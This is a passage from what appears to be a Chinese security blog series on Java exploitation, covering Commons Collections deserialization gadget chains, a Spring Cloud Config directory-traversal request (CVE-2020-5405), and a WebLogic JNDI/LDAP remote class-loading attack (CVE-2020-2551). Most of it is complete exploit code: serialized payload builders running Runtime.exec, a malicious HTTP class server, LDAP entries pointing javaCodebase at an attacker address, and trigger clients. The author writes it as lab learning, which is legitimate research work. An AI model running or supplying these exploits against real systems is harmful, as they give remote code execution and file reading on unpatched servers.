        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
        
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
        oos.writeObject(obj);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。

CommonsCollections4.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
        
        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 修改templates的_bytecodes变量
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});
        // 修改templates的_name变量
        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*3.2 */
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        
        /*3.3 */
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。

CommonsCollections5.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections5 {
	//JDK8
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        /*第二步 寻找受体*/
        HashMap<String, String> hashMap = new HashMap<String, String>();
        Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
        
        /*第三步 病毒填充到宿主。*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        // invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
        field.set(badAttributeValueExpException, tiedMapEntry);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        ois.readObject();
        ois.close();
    }
}

可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。

CommonsCollections6.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.nqzero.permit.Permit;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
	public static void main(String[] args) throws Exception {
		
		/*第一步 准备病毒*/
        String command = "gnome-calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        final Map innerMap = new HashMap();
        //创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        //创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        
        /*第三步 受体填充到宿主。*/
        HashSet map = new HashSet(1);
        map.add("foo");
        
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //取出HashMap对象的成员变量table
        Permit.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);
        //取出table里面的第一个Entry
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
        Permit.setAccessible(keyField);
        keyField.set(node, entry);
        
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。

CommonsCollections7.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };
        
        /*第二步 寻找受体*/
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
        
        HashMap innerMap1 = new HashMap<String, String>();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap<String, String>();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
        
        /*第三步 病毒填充到宿主。*/
        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 
        // 清除 hash code
        innerMap1.remove("zZ"); 

        // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。

勤洗手可以预防病毒。

参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html

bookmark_borderSpring Cloud Config Serve目录遍历漏洞(CVE-2020-5405)分析

根据https://www.baeldung.com/spring-cloud-configuration 搭环境。其中pom.xml的依赖改为:

  <dependencies>
	    <dependency>
	    <groupId>org.springframework.cloud</groupId>
	    <artifactId>spring-cloud-config-server</artifactId>
	    <version>2.2.0.RELEASE</version>
	</dependency>

	<dependency>
	    <groupId>org.springframework.boot</groupId>
	    <artifactId>spring-boot-starter-web</artifactId>
	    <version>2.2.1.RELEASE</version>
	</dependency>
  </dependencies>

启动项目。根据文章的介绍,查询语句的格式为:

/{application}/{profile}[/{label}]
/{application}-{profile}.yml
/{label}/{application}-{profile}.yml
/{application}-{profile}.properties
/{label}/{application}-{profile}.properties

label是git分支

application 是应用名字

profile 是当前正在使用应用的profile
正常的请求,可以读取git仓库下的任何文件


而问题就出在{label}

先上POC:

GET /config-client/development/master(_)..(_)..(_)..(_)..(_)..(_)..(_)/etc/resolv.conf HTTP/1.1
Host: kali-xps:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1

通过补丁https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0 定位到需在

spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java

下断点

debug

发送payload:

可以看到以uri中的/为边界,分别获取到了 application profile 和 label。
resolveLabel()方法将 label中的(_)替换为了/

跟进 resolveLabel()方法:

仅仅是判断非空且包含(_)就替换为/

所以label部分跨目录时不能出现/ ,否则/右边的部分就视为git 仓库下的文件了。

label右边出现第一个 / 符号后的内容 全放在path里。
通过application 和 profile 获取到仓库地址后 ,简单的拼上经过转换过的label的地址,后面加个/
拼接后
之后会再尝试进行多次拼接,把所有可能的组合形式都尝试一遍。比如在文件后加-development.conf判断存不存在
不过已经无关紧要了 我们构造的poc的文件是存在的

文件存在,跳出循环。

resource变量中存的文件路径
先获取文件内容
但是下面判断了文件有没有后缀名,如果文件没有后缀名
即使读到文件,也会因为获取不到文件名中的 “.” 的位置而返回空

所以这个漏洞只能读取带文件后缀的文件。

补丁的话新增了一个isInvalidEncodedLocation()方法:

判断了路径中有没有”..”

bookmark_borderJAVA远程加载利用学习五:weblogic实践(CVE-2020-2551)

接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。

这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。

准备

weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:

            //exec("gnome-calculator");
            exec("calc");

启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://192.168.1.99:8000/");

启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。

攻击

去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;


import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class WeblogicLdapLookup {
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "t3://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);

        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

我不知道EJBHome做什么,我要假装知道EJBHome长什么样:

package javax.ejb;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface EJBHome extends Remote {
    void remove(Handle var1) throws RemoteException, RemoveException;

    void remove(Object var1) throws RemoteException, RemoveException;

    EJBMetaData getEJBMetaData() throws RemoteException;

    HomeHandle getHomeHandle() throws RemoteException;
}

关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:

由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。

CVE-2020-2551

在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。

对前面的payload稍加修改

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class WeblogicLdapLookup {
	/**/
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "iiop://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);
        
        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);     
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:

由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab

bookmark_borderJAVA远程加载利用学习四:ldap lookup + javaCodebase 从http加载payload

这篇的核心是javaCodebase从外部加载恶意类,但是 是用 javax.naming.Context的lookup方法加ldap协议触发。
但是仅限Oracle JDK 11.0.1、8u191、7u201、6u211之前的JDK,否则需要手动打开属性:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

这里 是引用的 https://paper.seebug.org/1091/#jndildap 的说法,但是jdk 7 最高只到了80,因此 7u201、6u211 这两个可能不对,仅供参考。我在jdk8u172和jdk8u20都测试通过了。

下面上测试代码。

恶意的HTTP Server

用于感染的服务通过javaCodebase从这里加载恶意的外部类。
http server:

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

恶意的类:

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
                // run command on kali
                exec("gnome-calculator");
                // run command on windows
                //exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

启动com.hans.httpServer.HttpServer 即可通过 curl “http://localhost:8000/com/hans/remoteClass/ExportObject.class” 请求到恶意类。

LDAP服务

先开一个正常的LDAP服务:

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

再向ldap服务插入数据:

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.rmi.RemoteException;
import java.util.Hashtable;

/*
 * It works for LdapLookupPayload.java
 * */

public class LDAPServer2 {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

        Attribute mod1 = new BasicAttribute("objectClass", "top");
        mod1.add("javaNamingReference");

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://127.0.0.1:8000/");
        Attribute mod3 = new BasicAttribute("javaClassName",
                "PayloadObject");
        Attribute mod4 = new BasicAttribute("javaFactory", "com.hans.remoteClass.ExportObject");


        ModificationItem[] mods = new ModificationItem[]{
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
        };
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

受感染的Client

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapLookupPayload {
    public static void main(String[] args) throws NamingException {
        // 最新的JDK需开启这个属性
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        Context ctx = new InitialContext();
        Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=hans,ou=employees,dc=example,dc=com");
    }
}
  1. 启动 HttpServer
  2. 启动LDAPRefServer
  3. 启动LDAPServer2向LDAP Server注入数据
  4. 启动LdapLookupPayload 触发漏洞。

可以看到 InitialContext()初始化出来的Content对象,在受影响的jdk中,是存在漏洞的,若lookup的参数可受用户控制,可以造成远程代码执行。
请参考 https://paper.seebug.org/1091/#jndildap 该文章的内容。

bookmark_borderJAVA远程加载利用学习三:JNDI Reference+RMI攻击向量

这一篇的重点还是远程加载。
运行环境,JDK 8u113以前的版本。之后的版本默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:

  1. 恶意applet使用JNLP实例化JNDI InitialContext
  2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
  3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
  4. 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
  5. 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
  6. 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行

创建一个http server

com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

在http服务上放一个恶意的类

com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

    

	/**
	 * 
	 */
	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
